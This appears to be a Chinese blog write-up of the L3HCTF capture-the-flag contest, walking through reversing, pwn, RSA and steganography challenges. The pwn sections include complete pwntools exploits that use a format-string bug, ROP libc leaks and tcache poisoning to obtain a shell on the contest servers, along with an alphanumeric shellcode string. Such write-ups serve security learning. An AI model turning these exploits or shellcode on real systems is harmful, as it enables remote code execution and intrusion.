L3Hctf_Writeup

date
Mar 1, 2022
slug
l3hctf
status
Published
tags
CTF
WriteUp
summary
一种记忆唤醒。
type
Post
一个三年没有打CTF的「选手」,通常我们认为他是一个萌新。

signin

是一个ELF64的程序,典型的xor加密 其密钥没有固定,而是由运行程序时的Unix时间戳生成的,但由于其密钥是每四个字节循环的(dword_2010B0[v6 & 3],即mod 4),并且明文的前四个字节应该为L3HC,故可以推测出密钥。
图片
图片
cipher_file = open('flag.enc','rb')
cipher = cipher_file.read()
key = []
flag = ''
for index in range(4):
    key.append(cipher[index] ^ ord('L3HC'[index]))
for index in range(len(cipher)):
    flag += chr(cipher[index] ^ key[index % 4])
print(flag)
明文为L3HCTF{just_sign_in}

ezMaze

看名字是迷宫题,自然里面也是迷宫题 其中,上下操作是ws,左右操作是ad,对应坐标为这里的ji,初始值分别为1 要求横纵坐标均为6即可通过,其中sub_11DD是判断坐标是否合法(即是否迷宫碰壁)的函数 也就是判断表达式dword_4020[j] & (1 << (7 - i))是否为零,非零则不合法。也就是就是判定dword_4020[j]的低字节的左边第i位是否为0。 每走一步后,会执行表达式dword_4020[j] |= (1 << (7 - i)),也就是将dword_4020[j]的低字节的左边第i位置为1。因此data段的内置数组dword_4020[]即为迷宫数据: 注意到此时迷宫的数据是走不通的,因为忽略了程序开头对迷宫的预处理:
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
for(int i = 0; i < 8; ++i)
{
  dword_4020[i] = ~ (i ^ dword_4020[i]);
}
因此实际的迷宫为
11111111
10010001
11000101
11011111
10010001
10110101
10000101
11111111
可以看出路径为dsssassdddwwddss,即为flag。

virtual

运行程序后没有任何输出而是直接等待用户输入,打开IDA的Strings窗口并看到了std::cin: 因此查找对其的reference从而定位main函数: 首先注意到其中包含花指令: 这里的花指令较为简单,直接Undefine并将其assemble为nop即可去除干净: 去除花指令并进行Create function,并且可以使用decompiler了,并且简单为伪代码写上注释: 不难看出最后一段是异或加密。在此之前,程序通过修改后的虚表执行了函数sub_401300,参数为用户输入的字符串和用malloc分配的一块空间v6。 进入到sub_401300,可以看到首先对一些常量进行初始化,然后调用函数sub_401150进行处理:
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
None
None
猜想会是某种Hash函数或者是编码。事实上,简单调试就可以看到初始化的结果 ABCDEFGHIJKLMNOPQRSTUVWXYZ012345678abcdefghijklmnopqrstuvwxyz9+/ 这正是(魔改后)的base64的字符表。粗略看一下sub_401150也符合base64的算法特征。因此用IDAPython提取出异或加密的密文并解密
图片
图片
address = 0x40505c
key = 68
result = ''
for index in range(52):
    result += chr(Byte(address + index) ^ key)
print(result)
直接在IDA得出明文为TDNIQsRG4sbn5V9dMHVlZF9r8DN36qNa6dVrXqBdXrIrNUUtNHr=。考虑到这是魔改的base64,直接从网上抄一个base64的实现并修改其字符表。比较奇怪的是这样操作后其解码内容会带乱码: 干脆写脚本暴力猜出flag:
图片
图片
str = ['L3HCTF{Y0', '_f0und_t', '3_', '3c','et_0f_B45E64}']
for s1 in ['u', 'U']:
    for s2 in ['h', 'H']:
        for s3 in ['5', 's', 'S']:
            for s4 in ['R', 'r']:
                print(str[0] + s1 + str[1] + s2 + str[2] + s3 + str[3] + s4 + str[4])
图片
图片

hellopwn

checksec:
[*] '/home/admin/hellopwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ida64: 一眼看到一个格式化字符串漏洞。然后如果flag不为0则会在函数vuln中触发一个栈溢出。因此首先利用格式化字符串实现一个任意地址写,然后利用栈溢出漏洞;由于此题没有给libc,首先需要判断libc版本;获得libc后就可以用one_gadget或者修改got表之类的办法get shell了。 首先可以快速判定出buf对应格式化字符串的第6个(void*)参数: 注意到flag的地址0x601090pack后包含\x00,因此构造第一步输入的字符串为b'AAAA%7$n' + pack(0x601090)。 第二步,获取libc版本,一种方法是用pwntools的DynELF功能,一种方法是泄露libc函数的地址去libc database之类的地方搜索对应的版本。这里选择后一种方法,选择puts函数泄露putsread两个函数的地址,构造Exploit如下。
图片
图片
图片
图片
from pwn import *
context(arch='amd64')
f = ELF('./hellopwn')
sh = remote('119.45.112.147', 20000)
# sh = process('./hellopwn')
sh.recvuntil(b"what's your name?\n")
fmts = b'AAAA%7$n' + pack(0x601090)
sh.send(fmts)
sh.recvuntil(b'\x60')
puts_got = f.got['puts']
read_got = f.got['read']

r = ROP(f)
r.raw(b'a' * (0x78))
r.call('puts', [puts_got])
r.call('puts', [read_got])
sh.send(bytes(r))

puts_addr = unpack(sh.recvuntil(b'\n')[:8].ljust(8, b'\x00'))
read_addr = unpack(sh.recvuntil(b'\n')[:8].ljust(8, b'\x00'))

log.success('The address of puts is: %s' % hex(puts_addr))
log.success('The address of read is: %s' % hex(read_addr))
运行结果如下: 根据泄露出的putsread两个函数的地址,找到远程服务器的libc: 第三步,泄露libc基地址并执行system("/bin/sh“)。即利用两次vuln函数,第一次泄露libc的基地址,然后计算出system函数和字符串/bin/sh的地址。第二次即可get shell。Exploit如下:
图片
图片
图片
图片
from pwn import *
context(arch='amd64')
f = ELF('./hellopwn')
libc = ELF('libc6_2.23-0ubuntu11.3_amd64.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
sh = remote('119.45.112.147', 20000)
# sh = process('./hellopwn')
sh.recvuntil(b"what's your name?\n")
fmts = b'%41$pxxxxxxx%8$n' + pack(0x601090)
# this time we use fmt string to leak stack address 
sh.send(fmts)
sh.recvuntil(b'hello,0x')
stack_address = int(sh.recv(12), 16)
log.success('Stack address is %s ' % hex(stack_address))
sh.recvuntil(b'\x60')
puts_got = f.got['puts']
read_got = f.got['read']

r = ROP(f)
r.raw(b'a' * (0x70))
r.raw(pack(stack_address))
# new place for stack frame
r.call('puts', [puts_got])
r.call('vuln', [])
sh.send(bytes(r))

puts_addr = unpack(sh.recvuntil(b'\n')[:6].ljust(8, b'\x00'))

log.success('The address of puts is: %s' % hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base address is %s' % hex(libc_base))

binsh_addr = next(libc.search(b'/bin/sh')) + libc_base
r = ROP(f)
r.raw(b'a' * (0x78))               
r.call(libc.symbols['system'] + libc_base, [binsh_addr])
sh.send(bytes(r))
sh.interactive()
图片
图片

easystack

签到题,修改返回地址为look_here即可。
图片
图片
None
None
from pwn import *
context.clear(arch='amd64')
sh = remote('119.45.112.147', 20002)
payload = b'A' * 0x18 + pack(0x4005B6)
sh.sendline(payload)
sh.interactive()

icecream

checksec,发现保护全开:
None
None
所以修改got表的方法就不能用了。运行一下,是一个典型的堆块分配和管理程序:
None
None
逆向后发现主要的漏洞是delete一个chunk后没有将其标记为free,导致UAF。
None
None
因此,主要的思路是通过堆漏洞泄露libc地址,然后用任意地址写修改__free_hook为one_gadget或者system函数的地址。具体到这题的libc版本为2.27,因此后者可以借助tcache poisoning技术轻松实现任意地址写;而前者仍然用经典的unsorted bin attack来泄露main_arena地址,只不过需要先将tcache填满才能分配small bin chunk后将其free到unsorted bin中。 首先,在本地进行调试并获得泄露地址与libc对象的偏移。具体操作是分配8个足够大的chunk,free7个,然后free剩下的一个与top chunk不相邻的chunk: 可以在IDA中看到这个位于unsorted bin的chunk的fd字段为地址0x7f32a8cf7ca0,对应main_arena + 0x60,也就是__malloc_hook + 0x70。这样就可以构造出exploit了,具体方法为进行上述操作,打印free的unsorted bin chunk获得泄露地址并计算出libc的基地址,计算出__free_hook的地址和system函数的地址,使用tcache poisoning修改__free_hook的值为system地址,分配一个新chunk并写入字符串/bin/sh。此时对其进行free操作即相当于执行system('/bin/sh')。Exploit如下:
图片
图片
from pwn import *

context.clear(arch='amd64')
isremote = True

if isremote:
    sh = remote('119.45.112.147', 20001)
    libc = ELF('./libc-2.27.so')
else:
    sh = process('./icecream')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# f = ELF('./icecream')

def add(num):
    sh.recvuntil(b'5.exit\n')
    # sh.recvline()
    sh.sendline(b'1')
    sh.recvline()
    sh.sendline(str(num))
def delete(index):
    sh.recvuntil(b'5.exit\n')
    sh.sendline(b'2')
    sh.recvuntil(b'want to delete?\n')
    sh.sendline(str(index))
def view(index):
    sh.recvuntil(b'5.exit\n')
    sh.sendline(b'3')
    sh.recvuntil(b'want to view?\n')
    sh.sendline(str(index))
    return sh.recvuntil(b'Your choice:')
def edit(index, content):
    sh.recvuntil(b'5.exit\n')
    sh.sendline(b'4')
    sh.recvuntil(b'want to edit?\n')
    sh.sendline(str(index))
    sh.recvline()
    sh.send(content)

for _ in range(8):
    add(200)
for i in range(1, 8):
    delete(i)
delete(0)

leaked_addr = unpack(view(0)[:6].ljust(8, b'\x00'))
if isremote:
    main_arena_address = leaked_addr - 0x60
    malloc_hook_addr = main_arena_address - 0x10
    libc_base = malloc_hook_addr - 0x3ebc30
else:
    malloc_hook_addr = leaked_addr - 0x70
    libc_base = malloc_hook_addr - 0x1ebb70
log.success('libc base address is %s', hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
add(20)
delete(8)
edit(8, pack(free_hook_addr))
add(20)
add(20)
system_addr = libc_base + libc.symbols['system']
edit(10, pack(system_addr))

add(100)
edit(11, b'/bin/sh\x00')
delete(11)
sh.interactive()
图片
图片

shellcode

要求shellcode的每个byte不能小于31。 从网上找了一个纯字符数字的shellcode
图片
图片
PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
图片
图片

babyrsa

观察加密代码,其对RSA算法的实现没有什么问题,但是选择的公钥e异常地大,所以肯定是那几种常见的针对RSA的攻击方法之一。直接用CTF-RSA-Tool即可秒解: 可以看出使用的是Wiener攻击。
图片
图片

Sign-in

签到题。

kannade

直接扔到StegSolve里,在Blue plane里看到条形码,扫描之即可。
图片
图片

© transparent 2021 - 2025